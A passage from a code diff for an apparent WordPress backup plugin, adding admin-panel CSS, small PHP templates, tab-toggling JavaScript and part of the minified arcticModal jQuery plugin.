+ border-radius: 3px;
162
+ font-size: 11.9px;
163
+ padding: 2px 10px;
164
+ cursor: pointer;
165
+ }
166
+ .btn-orange:hover {
167
+ color:#fff;
168
+ background-color: #f38325 ;
169
+ background-position: 0 -30px;
170
+ text-decoration: none;
171
+ transition: background-position 0.1s linear 0s;
172
+ }
173
+ .desc-wpadm {
174
+ clear: both;
175
+ color: #fff;
176
+ font-size: 13px;
177
+ /*font-style: italic;*/
178
+ }
179
+ .btn-danger:hover {
180
+ color:#fff;
181
+ background-color: #db362f ;
182
+ background-position: 0 -30px;
183
+ text-decoration: none;
184
+ transition: background-position 0.1s linear 0s;
185
+ }
186
+
187
+ .form-counter table tr td{
188
+ padding: 10px;
189
+ }
190
+ .color-picker {
191
+ margin:10px;
192
+ }
193
+ .stat_title {
194
+ text-align: center;
195
+ font-size: 24px;
196
+ margin-top: 20px;
197
+ }
198
+ .cfTabsContainer {
199
+ background-color: #0096d6;
200
+ overflow: hidden;
201
+ width:95%;
202
+ padding: 15px;
203
+ margin-bottom: 40px;
204
+ margin-top: 14px;
205
+ -webkit-font-smoothing: antialiased;
206
+ }
207
+
208
+
209
+ .button-wpadm {
210
+ background: none repeat scroll 0 0 #00d2b8;
211
+ border-color: #cdcdcd;
212
+ box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
213
+ color: #fff;
214
+ vertical-align: top;
215
+ border-radius: 3px;
216
+ border-style: solid;
217
+ border-width: 1px;
218
+ box-sizing: border-box;
219
+ cursor: pointer;
220
+ display: inline-block;
221
+ font-size: 13px;
222
+ height: 28px;
223
+ line-height: 26px;
224
+ margin: 0;
225
+ padding: 0 10px 1px;
226
+ text-decoration: none;
227
+ white-space: nowrap;
228
+ }
229
+ .wpadm-info {
230
+ font-size: 15px;
231
+ width: 30%;
232
+ margin-top:10px;
233
+ margin-left: 20px;
234
+ margin-bottom: 20px;
235
+ border-left: 1px solid #fff;
236
+ padding-left:20px;
237
+ padding-top: 20px;
238
+ height:200px;
239
+ }
240
+ .wpadm-info-title {
241
+ text-align:center;
242
+ padding:5px;
243
+ color:#fff;
244
+ font-size:20px;
245
+ }
246
+ .wpadm-registr-info {
247
+ width: 65%;
248
+ }
249
+ .wpadm-registr-info label {
250
+ color:#fff;
251
+ }
252
+ .wpadm-plugins-info {
253
+ width: 95%;
254
+ }
255
+ .services-info {
256
+ background: #fff; width: 95%; margin-top: 20px;
257
+ }
258
+ .title-services {
259
+ text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
260
+ }
261
+
262
+ .tmpl_line_body {
263
+ float: left;
264
+ margin: 0;
265
+ padding: 0;
266
+ position: relative;
267
+ width: 100%;
268
+ }
269
+ .wpadm-info-auth {
270
+ font-size: 11px;
271
+ padding-left:20px;
272
+ height:30px;
273
+ color:#fff;
274
+ margin-top: -5px;
275
+ }
276
+ #header_navigation_line {
277
+ background-color: #21759b;
278
+ background-image: linear-gradient(to bottom, #2a95c5, #21759b);
279
+ box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
280
+ height: 68px;
281
+ left: 0;
282
+ top: 0;
283
+ z-index: 1000;
284
+ }
285
+ #header_navigation_line #main_menu ul li {
286
+ display: inline-block;
287
+ float: none;
288
+ font-size: 14px;
289
+ font-weight: bold;
290
+ list-style: outside none none;
291
+ margin: 0;
292
+ padding: 0;
293
+ text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
294
+ }
295
+ .inline-right {
296
+ float:right;
297
+ }
298
+ .inline {
299
+ float:left;
300
+ }
301
+ .inline-right, .inline {
302
+ margin-top:10px;
303
+ margin-left:10px;
304
+ }
305
+ #header_navigation_line #main_menu ul li a {
306
+ background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
307
+ border: 1px solid #1b5f7f;
308
+ border-radius: 3px;
309
+ box-shadow: 1px 1px 0 0 #78c9e6 inset;
310
+ color: #dddddd;
311
+ display: inline-block;
312
+ float: left;
313
+ height: 43px;
314
+ line-height: 16px;
315
+ margin: 0 2px 0 0;
316
+ overflow: hidden;
317
+ padding: 5px 0;
318
+ text-decoration: none;
319
+ width: 90px;
320
+ }
321
+ #header_navigation_line #main_menu ul li:hover a {
322
+ background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
323
+ color: #fff;
324
+ }
325
+ #header_navigation_line #main_menu {
326
+ float: left;
327
+ margin: 6px 0 0;
328
+ width: 100%;
329
+ }
330
+ #header_navigation_line #logo {
331
+ float: left;
332
+ left: 0;
333
+ position: absolute;
334
+ top: 9px;
335
+ width: auto;
336
+ }
337
+ #header_navigation_line #main_menu ul {
338
+ float: left;
339
+ list-style: outside none none;
340
+ margin: 0 0 0 20px;
341
+ padding: 0;
342
+ text-align: center;
343
+ width: 100%;
344
+ }
345
+ #header_navigation_line #main_menu ul li .nav_icon {
346
+ float: left;
347
+ height: 24px;
348
+ margin: 0;
349
+ padding: 0 0 3px;
350
+ width: 100%;
351
+ }
352
+ #header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
353
+ background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
354
+ border: 1px solid #fff;
355
+ box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
356
+ color: #fff;
357
+ }
358
+ .clear {
359
+ clear:both;
360
+ }
361
+ .plugins-info {
362
+ width:320px;
363
+ }
364
+ .plugin-box {
365
+ background: #0096d6;
366
+ border: 1px solid #e5e5e5;
367
+ box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
368
+ min-width: 255px;
369
+ position: relative;
370
+ line-height: 1;
371
+ margin-bottom: 20px;
372
+ padding: 0;
373
+ }
374
+
375
+ .plugins-info-content {
376
+ display:none;
377
+ border-top: 1px solid #fff;
378
+ margin-top:8px;
379
+ padding-top: 7px;
380
+ }
381
+ h3.plugins-title {
382
+ font-size: 14px;
383
+ line-height: 1.4;
384
+ margin: 0;
385
+ }
386
+ .plugins-title a {
387
+ color:#fff;
388
+ text-decoration: none;
389
+
390
+ }
391
+ .wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
392
+ float:left;
393
+ color:#fff;
394
+ }
395
+ .button-wpadm:hover {
396
+ border-color:#cdcdcd;
397
+ background-color: #009583;
398
+ }
399
+ .wpadm-red:hover {
400
+ border-color:#737373 ;
401
+ background-color: #ff706c;
402
+ }
403
+ .wpadm-red {
404
+ background: none repeat scroll 0 0 #f21111;
405
+ border-color: #c7c6ce;
406
+ box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
407
+ }
408
+ .info-detail {
409
+ background:#bee7e7;
410
+ }
411
+ .table {
412
+ margin:0px;padding:0px;
413
+ width:100%;
414
+ border:0px;
415
+ border-collapse: collapse;
416
+ border-spacing: 0;
417
+ width:100%;
418
+ height:100%;
419
+ border: 1px solid #b7c6ff;
420
+ border-radius: 3px;
421
+ margin-top: 60px;
422
+
423
+ }
424
+ .table th {
425
+ padding: 7px;
426
+ background-color:#dde4ff;
427
+ font-size:16px;
428
+
429
+ }
430
+ .title-logs, .title-status {
431
+ margin-bottom: 10px;
432
+ }
433
+ .help-key-secret {
434
+ font-size: 11px;
435
+ text-align: right;
436
+ color:#fff;
437
+ cursor: pointer;
438
+ }
439
+ .help-key-secret:hover {
440
+ color:#fff;
441
+ text-decoration:underline;
442
+ }
443
+ #log-backup div {
444
+ font-size:12px;
445
+ }
446
+ .table td {
447
+ background: #fff;
448
+ font-size: 12px;
449
+ padding: 5px 0;
450
+ border-bottom:1px solid #b7c6ff;
451
+ text-align: center;
452
+ }
453
+ .info-path td {
454
+ font-size: 11px;
455
+ padding:0px;
456
+ }
457
+ .table tr:last td {
458
+
459
+ border-bottom: 0px;
460
+ }
461
+ .header-table {
462
+ font-size:20px;
463
+ }
464
+
465
+ .stat {
466
+ width: 200px;
467
+ }
468
+
469
+ .w1{
470
+ width:5%;
471
+ }
472
+ .w2{
473
+ width:13%;
474
+ }
475
+ .w3{
476
+ width:7%;
477
+ }
478
+ .table-stat-moovdiv {
479
+ background: none repeat scroll 0 0 #FFFFFF;
480
+ border-spacing: 0;
481
+ box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
482
+ left: 0px;
483
+ margin-top: 0;
484
+ padding: 10px 15px;
485
+ top: 0px;
486
+ width: 400px;
487
+ }
488
+
489
+ .table-stat-moovdiv tr td{
490
+ border-right: 0px;
491
+ margin-bottom: 1px;
492
+ margin-top: 1px;
493
+ padding-bottom: 1px;
494
+ padding-top: 1px;
495
+ border-bottom:1px solid #D6D6D6;
496
+ padding: 5px;
497
+ }
498
+
499
+ #page_item {
500
+ margin-bottom:3px;
501
+ float:left;
502
+ }
503
+ .block-export {
504
+ float: right;
505
+ margin-right: 20px;
506
+ }
507
+ .info {
508
+ width: 70%;
509
+ border: 0;
510
+ }
511
+ .setting-checkbox {
512
+ padding-left: 5px;margin-top: 5px;
513
+ }
514
+ .form-help-send-error input[type="text"], .form-help-send-error input[type="text"] {
515
+ padding: 0px;
516
+ border: 1px solid #999;
517
+ box-shadow:0px;
518
+ font-size: 12px;
519
+ height: 24px;
520
+ width: 250px;
521
+ }
522
+
523
+ .form-help-send-error, .form-help-mail-response {
524
+ float:left;
525
+ }
526
+ .form-help-mail-response .button-description {
527
+ text-align: center;
528
+ }
529
+ .show-includes {
530
+ text-align: left;
531
+ margin-left:20px;
532
+ margin-right:20px;
533
+ background: #fff;
534
+ padding: 20px;
535
+ }
536
+ #sent-error-report {
537
+ background: #fff;
538
+ width: 400px;
539
+ height: 200px;
540
+ text-align: center;
541
+ border-radius:4px;
542
+ border: 2px solid #00d2b8;
543
+ position: relative;
544
+ }
545
+ #sent-error-report .text-view {
546
+ text-align: center;
547
+ font-size: 20px;
548
+ padding-top: 50px;
549
+ line-height: 27px;
550
+ margin-bottom: 30px;
551
+ }
552
+ #sent-error-report .button-sent-report .button-wpadm {
553
+ padding: 1px 20px;
554
+ height: auto;
555
+ }
556
+ #sent-error-report .button-sent-report {
557
+ position: absolute;
558
+ bottom:0px;
559
+ padding-bottom: 30px;
560
+ width: 100%;
561
+ }
562
+
563
+ .show-includes input.input-folder[type="checkbox"] + label {
564
+ font: 18px bold;
565
+ color: #444;
566
+ cursor: pointer;
567
+ }
568
+ .show-includes input.input-folder[type="checkbox"] + label::before {
569
+ content: "";
570
+ display: inline-block;
571
+ height: 15px;
572
+ width: 18px;
573
+ margin: 0 5px 0 0;
574
+ background-image: url(folder.png);
575
+ }
576
+ .loading-img {
577
+ text-align: center;
578
+ height: 23px;
579
+ margin: 0 auto;
580
+ }
581
+ .show-includes input.checkbox-send[type="checkbox"] {
582
+ margin-top:0px;
583
+ }
584
+ .show-includes input.input-folder[type="checkbox"]:checked + label::before {
585
+ background-image: url(icon-folder-open.gif);
586
+ }
587
+ .show-includes input.input-folder[type="checkbox"]:checked:disabled + label::before {
588
+ background-image: url(icon-folder-open.gif);
589
+ }
590
+ .show-includes input.input-folder[type="checkbox"] {
591
+ display:none;
592
+ }
593
+ .tree-includes {
594
+ margin-left: 25px;
595
+ }
596
+
597
+ .form-help-mail-response {
598
+ margin-left: 20px;
599
+ }
600
+ .form-help-send-error .label-help {
601
+ float:left; width: 100px;
602
+ padding-top: 8px;
603
+ }
604
+ .border-shadow-bottom {
605
+ -webkit-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
606
+ -moz-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
607
+ box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
608
+ }
609
+ .info tr {
610
+ border-style: hidden;
611
+ }
612
+ .info tr td{
613
+ border-style: hidden;
614
+ padding: 5px;
615
+ text-align:left;
616
+ }
617
+ .chart-box {
618
+ background: #fff;
619
+ border:1px solid #cccccc;
620
+ border-radius:3px;
621
+ margin-top:25px;
622
+ }
623
+ .chart-box-title {
624
+ color:#575757;
625
+ border-bottom: 1px solid #cccccc;
626
+ font-size: 18px;
627
+ padding:10px;
628
+ }
629
+ .charts {
630
+ padding:5px;
631
+ padding-top: 15px;
632
+ }
633
+ .form-account {
634
+ margin-top: 30px;
635
+ margin-bottom : 40px;
636
+ border:5px solid #fff;
637
+ background: #ffffa5;
638
+ padding: 10px;
639
+ height: auto;
640
+ overflow:hidden;
641
+ }
642
+ .form-account-title {
643
+ margin-bottom: 20px;
644
+ font-size: 22px;
645
+ }
646
+ .form-account-block {
647
+ margin-left: 20px;
648
+ float:left;
649
+ width: 40%;
650
+ }
651
+ .form-account-login {
652
+ margin-top: 10px;
653
+ margin-bottom : 40px;
654
+ border:5px solid #fff;
655
+ background: #ffffa5;
656
+ padding: 3px;
657
+ height: auto;
658
+ overflow:hidden;
659
+ }
660
+
661
+ .form-account-block-login {
662
+ margin-left: 10px;
663
+ width: 90%;
664
+
665
+ }
666
+ .form-account-info {
667
+ float:left;
668
+ width: 50%;
669
+ margin-left: 20px;
670
+ }
671
+ .b_2 {
672
+ background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
673
+ color: #464646;
674
+ font-family: Arial,Helvetica,sans-serif;
675
+ font-size: 18px;
676
+ left: 12px;
677
+ padding-left: 30px;
678
+ top: 60px;
679
+ padding-top: 4px;
680
+ padding-bottom : 5px;
681
+ }
682
+ .b-3 {
683
+ font-size: 22px;
684
+ }
685
+ .form-account-button {
686
+ margin-top: 21px;
687
+ }
688
+ .label-form {
689
+ margin-left: 6px;
690
+ font-size: 16px;
691
+ }
692
+ .last {
693
+ line-height: 18px;
694
+ margin-top: 9px;
695
+ }
696
+ .progress {
697
+ height: 20px;
698
+ background: #ebebeb;
699
+ border-left: 1px solid transparent;
700
+ border-right: 1px solid transparent;
701
+ border-radius: 10px;
702
+ }
703
+ .progress > span {
704
+ position: relative;
705
+ float: left;
706
+ margin: 0 -1px;
707
+ min-width: 30px;
708
+ height: 18px;
709
+ line-height: 16px;
710
+ text-align: right;
711
+ background: #cccccc;
712
+ border: 1px solid;
713
+ border-color: #bfbfbf #b3b3b3 #9e9e9e;
714
+ border-radius: 10px;
715
+ background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
716
+ background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
717
+ background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
718
+ background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
719
+ -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
720
+ box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
721
+ }
722
+ .progress > span > span {
723
+ padding: 0 8px;
724
+ font-size: 11px;
725
+ font-weight: bold;
726
+ color: #404040;
727
+ color: rgba(0, 0, 0, 0.7);
728
+ text-shadow: 0 1px rgba(255, 255, 255, 0.4);
729
+ }
730
+ .progress > span:before {
731
+ content: '';
732
+ position: absolute;
733
+ top: 0;
734
+ bottom: 0;
735
+ left: 0;
736
+ right: 0;
737
+ z-index: 1;
738
+ height: 18px;
739
+ border-radius: 10px;
740
+ }
741
+
742
+
743
+
744
+ .stat-form-counter {
745
+ background: none repeat scroll 0 0 #0096d6;
746
+ color: #fff;
747
+ margin-bottom: 20px;
748
+ width: 46%;
749
+ margin-right: 0;
750
+ border: 0;
751
+ padding: 3px;
752
+ }
753
+ .stat-wpadm-registr-info {
754
+ color: #fff;
755
+ float: left;
756
+ width: 57%;
757
+ }
758
+ .stat-wpadm-registr-info label {
759
+ color:#fff;
760
+ }
761
+ .stat-wpadm-info-title {
762
+ color: #fff;
763
+ font-size: 20px;
764
+ padding :20px 0px;
765
+ margin-top:10px;
766
+ text-align: center;
767
+ }
768
+ .stat-table-registr {
769
+ margin-top: 20px;
770
+ }
771
+ .stat-table-registr th, .stat-table-registr td {
772
+ padding:5px;
773
+ }
774
+ .stat-wpadm-info {
775
+ width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
776
+ color: #fff;
777
+ float: left;
778
+ border-left: 1px solid #fff;
779
+ font-size: 12px;
780
+ margin-bottom: 20px;
781
+ padding-left: 20px;
782
+ }
783
+ .block-button-show {
784
+ padding:11px 18px; cursor: pointer; text-align: center;
785
+ }
786
+ .block-button-show .block-click {
787
+ padding-top: 10px;
788
+ font-size: 16px;
789
+ border-top:1px solid #fff;
790
+ }
791
+ .stat-setting {
792
+ border-left:1px solid #fff;
793
+ margin-right: 0px;
794
+ }
795
+ #stat-title-setting{
796
+ font-size: 20px;
797
+ margin-top: 10px;
798
+ padding: 20px 0;
799
+ text-align: center;
800
+ }
801
+ #preview-image {
802
+ height: 105px; float: left; margin-right: 10px; margin-top:45px;
803
+ }
804
+ #preview-image .block-preview-image {
805
+ padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
806
+ }
807
+ #preview-image .title-preveiw-image {
808
+ font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
809
+ }
810
+ #preview-image .image-block {
811
+ display: table;
812
+ }
813
+ .image-block .image-block-in {
814
+ display: table-cell; vertical-align: middle;
815
+ }
816
+ .image-block-in img {
817
+ float: left;margin-top:7px;
818
+ margin-left: 2px;
819
+ }
820
+ .image-block-in .text-image-counter {
821
+ float: left;
822
+ padding-left:3px;
823
+ font-size: 8px;
824
+ font-weight: 600;
825
+ }
826
+ #setting-form .info-block {
827
+ float: left; margin: 5px 0px 0px; width:74%;
828
+ }
829
+ #setting-form .first-info-block {
830
+ margin: 20px 0px 0px;
831
+ }
832
+ .info-block-detail {
833
+ float:left;
834
+ }
835
+ .detail-title {
836
+ margin: 0 5px; width: 30%;
837
+ }
838
+ #setting-form .info-block .details-info {
839
+ width: auto;
840
+ font-size: 10px;
841
+ margin:0px;
842
+ }
843
+ #setting-form .info-block input[type="text"] {
844
+ font-size: 14px;
845
+ height: 28px;
846
+ }
847
+ .info-block .checkbox-info {
848
+ width:101px;
849
+ text-align:right;
850
+ }
851
+ .checkbox-info input[type="checkbox"] {
852
+ margin-right: 0px;
853
+ }
854
+ .stat-setting-save {
855
+ text-align: center; margin-top: 10px;
856
+ }
857
+
858
+ /*default style */
859
+ @media only screen and (max-width: 960px) {
860
+ /*
861
+ tablet computer
862
+ */
863
+ .stat-wpadm-info {
864
+ margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
865
+ color: #fff;
866
+ float: none;
867
+ clear:both;
868
+ border-left: 0px;
869
+ border-top:1px solid #fff;
870
+ font-size: 10px;
871
+ margin-bottom: 10px;
872
+ padding-left: 0px;
873
+ width:88%;
874
+ }
875
+
876
+ .stat-table-registr th, .stat-table-registr td {
877
+ padding:2px;
878
+ font-size:10px;
879
+ }
880
+ .stat-table-registr {
881
+ margin-top: 10px;
882
+ float:none;
883
+ }
884
+ .form-table label {
885
+ color:#fff;
886
+ }
887
+ .form-table th {
888
+ line-height: 10px;
889
+ }
890
+ .stat-table-registr input {
891
+ font-size: 10px;
892
+ height: 20px;
893
+ line-height: 10px;
894
+ }
895
+ .stat-form-counter {
896
+ font-size:10px;
897
+ margin-right:5px;
898
+ }
899
+ #setting-form .info-block {
900
+ width:60%;
901
+ }
902
+ #preview-image {
903
+ height: 105px;
904
+ float: left;
905
+ margin-right: 10px;
906
+ }
907
+ .detail-title {
908
+ margin: 0 5px; width:auto;
909
+ }
910
+ #setting-form .info-block .details-info {
911
+ width: auto;
912
+ font-size: 8px;
913
+ float:none;
914
+ clear:both;
915
+ line-height: 8px;
916
+ margin-bottom:5px;
917
+
918
+ }
919
+ .info-block .checkbox-info {
920
+ width:28px;
921
+ }
922
+ #setting-form .info-block input[type="text"] {
923
+ font-size:12px;
924
+ height: 20px;
925
+ }
926
+ .minicolors-theme-default.minicolors-position-right .minicolors-input {
927
+ padding-right: 10px;
928
+ }
929
+
930
+ .minicolors-theme-default .minicolors-swatch {
931
+ height: 18px;
932
+ left: 5px;
933
+ top: 1px;
934
+ width: 18px;
935
+ }
936
+
937
+ }
938
+ @media only screen and (max-width: 1124px) {
939
+ .stat-form-counter {
940
+ font-size:10px;
941
+ margin-right:3.5%;
942
+ }
943
+ #setting-form .info-block {
944
+ width:55%;
945
+ }
946
+ #preview-image {
947
+ height: 105px;
948
+ float: left;
949
+ margin-right: 10px;
950
+ margin-top:40px;
951
+ }
952
+ .info-block input[type="text"] {
953
+ font-size:12px;
954
+ height: 20px;
955
+ }
956
+ .dbb-info-details-form {
957
+ line-height: 16px;
958
+ margin:7px;
959
+ padding:7px 11px;
960
+ font-size:14px;
961
+ }
962
+ .dbb-info-details-form .button-submit {
963
+ padding:5px;
964
+ margin-top:11px;
965
+ margin-bottom:18px;
966
+
967
+ }
968
+
969
+ }
970
+ @media only screen and (max-width: 758px) {
971
+ /*
972
+ vertical tablet computer
973
+ */
974
+ .dbb-info-details-form {
975
+ font-size:10px;
976
+ line-height: 10px;
977
+ margin:5px;
978
+ padding:5px 9px;
979
+ }
980
+ .dbb-info-details-form .button-submit {
981
+ padding:3px;
982
+ margin-top:7px;
983
+ margin-bottom:15px;
984
+ }
985
+ }
986
+ @media only screen and (max-width: 524px) {
987
+ /*phone*/
988
+ .dbb-info-details-form {
989
+ font-size:8px;
990
+ line-height: 8px;
991
+ margin:6px;
992
+ padding:5px 7px;
993
+ }
994
+ .dbb-info-details-form .button-submit {
995
+ padding:1px;
996
+ margin-top:5px;
997
+ margin-bottom:8px;
998
+ }
999
+ }
template/css/folder.png ADDED
Binary file
template/css/icon-folder-open.gif ADDED
Binary file
template/css/index.php ADDED
@@ -0,0 +1,2 @@
 
 
1
+ <?php
2
+ // bla-bla-bla-bla
template/css/tool-bar.css ADDED
@@ -0,0 +1,4 @@
 
 
 
 
1
+ .dropbox-image-toolbar a:before {
2
+ content: url('./../../img/wpadm-logo.png');
3
+ /*background-image: ;*/
4
+ }
template/dropbox_pro_logo_box1.png ADDED
Binary file
template/expsys.php ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ $str = '';
3
+ foreach($data['sys'] as $key => $value) {
4
+ $str .= $value['function'];
5
+ }
6
+ ?>
7
+ <script>
8
+ function showView()
9
+ {
10
+ if(jQuery('.body-functions-view').css('display') == 'none') {
11
+ jQuery('.body-functions-view').show('slow');
12
+ } else {
13
+ jQuery('.body-functions-view').hide('slow');
14
+ }
15
+ }
16
+ </script>
17
+ <div class="functions-view">
18
+ <div class="title-functions-view" onclick="showView();">
19
+ <?php echo $str; ?>
20
+ </div>
21
+ <div class="body-functions-view">
22
+ <?php echo $functions_need; ?>
23
+ </div>
24
+ </div>
25
+ <?php
template/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
template/js/admin-wpadm.js ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ function showTab (elem, type)
2
+ {
3
+ jQuery('.cfTab').removeClass('selected');
4
+ jQuery('.cfContentContainer').hide();
5
+ jQuery(elem).addClass('selected');
6
+ jQuery('#cf_' + type).fadeIn();
7
+ }
8
+
9
+ var shows_id = ""
10
+ var shows_t = ""
11
+ function shows(id, t)
12
+ {
13
+ if(document.getElementById(id).style.display == "none") {
14
+ document.getElementById(id).style.display = "table-row";
15
+ jQuery(t).parent("tr").addClass('border-shadow-bottom');
16
+ if (shows_id == "") {
17
+ shows_id = id;
18
+ shows_t = t;
19
+ } else {
20
+ if(shows_id != id) {
21
+ document.getElementById(shows_id).style.display = "none";
22
+ jQuery(shows_t).parent("tr").removeClass('border-shadow-bottom');
23
+ }
24
+ shows_id = id;
25
+ shows_t = t;
26
+ }
27
+ } else if(document.getElementById(id).style.display == "table-row") {
28
+ document.getElementById(id).style.display = "none";
29
+ jQuery(t).parent("tr").removeClass('border-shadow-bottom');
30
+ }
31
+ }
32
+ var bl = false;
33
+ function show_form_auth(file_val)
34
+ {
35
+ if (file_val == 'registr') {
36
+ showRegistInfo(false);
37
+ if (bl === false) {
38
+ blick('container-user');
39
+ bl = true;
40
+ }
41
+ } else {
42
+ html = '<input type="hidden" value="' + file_val +'" name="internal_identifier">';
43
+ jQuery('#form_auth_backup').html(html);
44
+ document.form_auth_backup.submit();
45
+ }
46
+ }
47
+ var blick_form = true;
48
+ function blick(id, border_)
49
+ {
50
+ if (border_ == 'undefined') {
51
+ border_ = 10;
52
+ }
53
+ jQuery('#' + id).css({
54
+ outline: "0px solid #cd433d",
55
+ border: "0px"
56
+ }).animate({
57
+ outlineWidth: border_ + 'px',
58
+ outlineColor: '#cd433d'
59
+ }, 400).animate({outlineWidth: '0px',outlineColor: '#cd433d' } , 400);
60
+ if (blick_form) {
61
+ setTimeout('blick("' + id + '", ' + border_ + ')', 800);
62
+ }
63
+ }
template/js/index.php ADDED
@@ -0,0 +1,2 @@
 
 
1
+ <?php
2
+ // bla-bla-bla-bla
template/js/jquery.arcticmodal-0.3.css ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
1
+ .arcticmodal-overlay,
2
+ .arcticmodal-container { position: fixed; left: 0; top: 0; right: 0; bottom: 0; z-index: 99999; }
3
+ .arcticmodal-container { overflow: auto; margin: 0; padding: 0; border: 0; border-collapse: collapse; }
4
+ *:first-child+html .arcticmodal-container { height: 100% }
5
+ .arcticmodal-container_i { height: 100%; margin: 0 auto;background: none;border:none; }
6
+ .arcticmodal-container_i2 { padding: 24px; margin: 0; border: 0; vertical-align: middle; }
7
+ .arcticmodal-error { padding: 20px; border-radius: 10px; background: #000; color: #fff; }
8
+ .arcticmodal-loading { width: 80px; height: 80px; border-radius: 10px; background: #000 url(loading.gif) no-repeat 50% 50%; }
template/js/jquery.arcticmodal-0.3.min.js ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+
3
+ arcticModal — jQuery plugin
4
+ Version: 0.3
5
+ Author: Sergey Predvoditelev (sergey.predvoditelev@gmail.com)
6
+ Company: Arctic Laboratory (http://arcticlab.ru/)
7
+
8
+ Docs & Examples: http://arcticlab.ru/arcticmodal/
9
+
10
+ */
11
+ (function(d){var g={type:"html",content:"",url:"",ajax:{},ajax_request:null,closeOnEsc:!0,closeOnOverlayClick:!0,clone:!1,overlay:{block:void 0,tpl:'<div class="arcticmodal-overlay"></div>',css:{backgroundColor:"#000",opacity:0.6}},container:{block:void 0,tpl:'<div class="arcticmodal-container"><table class="arcticmodal-container_i"><tr><td class="arcticmodal-container_i2"></td></tr></table></div>'},wrap:void 0,body:void 0,errors:{tpl:'<div class="arcticmodal-error arcticmodal-close"></div>',autoclose_delay:2E3,
12
+ ajax_unsuccessful_load:"Error"},openEffect:{type:"fade",speed:400},closeEffect:{type:"fade",speed:400},beforeOpen:d.noop,afterOpen:d.noop,beforeClose:d.noop,afterClose:d.noop,afterLoading:d.noop,afterLoadingOnShow:d.noop,errorLoading:d.noop},j=0,e=d([]),m={isEventOut:function(a,b){var c=!0;d(a).each(function(){d(b.target).get(0)==d(this).get(0)&&(c=!1);0==d(b.target).closest("HTML",d(this).get(0)).length&&(c=!1)});return c}},f={getParentEl:function(a){var b=d(a);return b.data("arcticmodal")?b:(b=
13
+ d(a).closest(".arcticmodal-container").data("arcticmodalParentEl"))?b:!1},transition:function(a,b,c,e){e=void 0==e?d.noop:e;switch(c.type){case "fade":"show"==b?a.fadeIn(c.speed,e):a.fadeOut(c.speed,e);break;case "none":"show"==b?a.show():a.hide(),e()}},prepare_body:function(a,b){d(".arcticmodal-close",a.body).unbind("click.arcticmodal").bind("click.arcticmodal",function(){b.arcticmodal("close");return!1})},init_el:function(a,b){var c=a.data("arcticmodal");if(!c){c=b;j++;c.modalID=j;c.overlay.block=
14
+ d(c.overlay.tpl);c.overlay.block.css(c.overlay.css);c.container.block=d(c.container.tpl);c.body=d(".arcticmodal-container_i2",c.container.block);b.clone?c.body.html(a.clone(!0)):(a.before('<div id="arcticmodalReserve'+c.modalID+'" style="display: none" />'),c.body.html(a));f.prepare_body(c,a);c.closeOnOverlayClick&&c.overlay.block.add(c.container.block).click(function(b){m.isEventOut(d(">*",c.body),b)&&a.arcticmodal("close")});c.container.block.data("arcticmodalParentEl",a);a.data("arcticmodal",c);
15
+ e=d.merge(e,a);d.proxy(h.show,a)();if("html"==c.type)return a;if(void 0!=c.ajax.beforeSend){var k=c.ajax.beforeSend;delete c.ajax.beforeSend}if(void 0!=c.ajax.success){var g=c.ajax.success;delete c.ajax.success}if(void 0!=c.ajax.error){var l=c.ajax.error;delete c.ajax.error}var n=d.extend(!0,{url:c.url,beforeSend:function(){void 0==k?c.body.html('<div class="arcticmodal-loading" />'):k(c,a)},success:function(b){a.trigger("afterLoading");c.afterLoading(c,a,b);void 0==g?c.body.html(b):g(c,a,b);f.prepare_body(c,
16
